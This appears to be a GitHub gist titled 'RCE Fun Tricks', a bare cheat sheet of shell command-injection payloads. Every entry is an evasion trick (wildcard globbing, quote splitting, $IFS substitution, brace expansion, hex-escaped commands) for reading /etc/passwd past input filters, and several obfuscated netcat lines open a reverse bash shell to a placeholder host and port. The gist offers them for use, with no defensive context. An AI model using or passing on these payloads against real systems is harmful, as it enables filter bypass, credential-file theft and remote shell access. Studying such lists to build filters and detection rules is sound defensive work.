Skip to content

Instantly share code, notes, and snippets.

@MagicBlueCH
Last active May 30, 2018 01:18
Show Gist options
  • Save MagicBlueCH/792e99b5ddd3d4717335a20884f97576 to your computer and use it in GitHub Desktop.
Save MagicBlueCH/792e99b5ddd3d4717335a20884f97576 to your computer and use it in GitHub Desktop.
RCE Fun Tricks
  • /???/c?t /???/pa??wd  

  • /???/n??t -e /???/b??h 127.0.0.1 2333

  • /b$6in/nc$6at -e /bi$6n/ba$6sh 127.0.0.1 2333

  • /b"in/n"c\at -e /b'in/ba's\h 127.0.0.1 2333

  • IFS=,;cat<<<cat,/etc/passwd

  • cat$IFS/etc/passwd

  • cat${IFS}/etc/passwd

  • cat</etc/passwd

  • {cat,/etc/passwd} OR {ls,-las,/var} with args

  • X=$'cat\x20/etc/passwd'&&$X

thanks @omespino

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment